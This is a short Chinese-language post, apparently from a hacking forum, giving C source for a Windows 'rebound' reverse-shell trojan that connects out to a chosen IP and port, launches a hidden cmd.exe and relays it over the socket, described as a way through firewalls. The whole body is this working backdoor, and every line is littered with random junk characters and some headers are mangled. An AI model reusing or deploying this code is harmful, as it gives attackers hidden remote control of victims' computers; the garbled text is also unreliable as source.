这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n)kbQ]
Bz ;r<Kn
/* ============================== w~*@TG
Rebound port in Windows NT ^&?,L@fW
By wind,2006/7 R])Eg&
===============================*/ AT"gRCU$4
#include mw
28E\U
#include Wi&v?nm
XR+
SjCA
#pragma comment(lib,"wsock32.lib") -$Z1X_~;)<
!rUP&DA
void OutputShell(); 6YM X7G]
SOCKET sClient; iqDyE*a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6HY): M&?
efQ8jO
void main(int argc,char **argv) aO&U=!
{ 5%Qxx\q
WSADATA stWsaData; L0g+RohW
int nRet; e#Cv*i_<
SOCKADDR_IN stSaiClient,stSaiServer; zgAU5cw
Pzso^^g
if(argc != 3) d)AYY}pw
{ }:#WjH^
printf("Useage:\n\rRebound DestIP DestPort\n"); 8TP$ ?8l
return; )=~&l={T
} vXDs/,`r
:lB*km g
WSAStartup(MAKEWORD(2,2),&stWsaData); [Fr](&Tx
aRMlE*yW
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w<9rTHG8,
h]oUY.Pf
stSaiClient.sin_family = AF_INET; _RIU,uJs
stSaiClient.sin_port = htons(0); p1KhI;^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z(\aJW
[{7#IZL
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _<S!tW
{ K}l3t2uk
printf("Bind Socket Failed!\n"); ]pR?/3
return; arL>{mj
} eS8(HI6{^
Yqs=jTq`{
stSaiServer.sin_family = AF_INET; c<$<n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z&%i"IY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c[Fc3
_KH91$iW8m
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,R{&x7
{ 60+ zoL'
printf("Connect Error!"); 6^b)Q(Edut
return; 64/ZfXD
} XJ<"S
p
OutputShell(); JH.XZM&
} Ugri _
c u/"=]D
void OutputShell() S8#0Vo$)a
{ 7h
54j
char szBuff[1024]; W[&nQW$E
SECURITY_ATTRIBUTES stSecurityAttributes; 9mi@PW}1
OSVERSIONINFO stOsversionInfo; ly%^\jW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d {!P
c<
STARTUPINFO stStartupInfo; , /.@([C
char *szShell; =7Ud-5c
PROCESS_INFORMATION stProcessInformation; gnp.!-
unsigned long lBytesRead; t=P+m
c-$rB_t+
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +fVv H
{lds?AuK
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2w.FC
stSecurityAttributes.lpSecurityDescriptor = 0; ,XT,t[w
stSecurityAttributes.bInheritHandle = TRUE; X?_rD'3
WzzA:X
\ja6g
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ..`c# O&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .\XRkr'-
tyR?A>F4
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y<Koc>8
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KtQs uL%
stStartupInfo.wShowWindow = SW_HIDE; ^?lpY{aa
stStartupInfo.hStdInput = hReadPipe; KTm^}')C8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^OV; P[
/]U$OP*0
GetVersionEx(&stOsversionInfo); ,l>w9?0Z
E'WXi!>7p
switch(stOsversionInfo.dwPlatformId) kORWj<
{ ?IGp?R^j"
case 1: |nQfgl=V
szShell = "command.com"; ~-'2jb*8
break; ;dzy5o3
default: ]ae(t`\l^
szShell = "cmd.exe"; Wg}KQ6
6
break; 31G:[;g
} iWt%Boyi
[(n5-#1S
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k[x-O?$O@
Mk*4J]PP
send(sClient,szMsg,77,0); )la3GT*1mS
while(1) +-!3ruwSn
{ q-z1ElrN7u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?AFb&
if(lBytesRead) ?\\wLZ
{ )?jFz'<r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2* g2UP
send(sClient,szBuff,lBytesRead,0); k4sV6f
} ^2'Y=g>
else <f7 O3 >
{ .BPd06y
lBytesRead=recv(sClient,szBuff,1024,0); 0ca0-vY
if(lBytesRead<=0) break; eCI'<^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t!\aDkxo %
} R2)@Q
} C@qWour
XIIq0I
return; %wbdg&^
}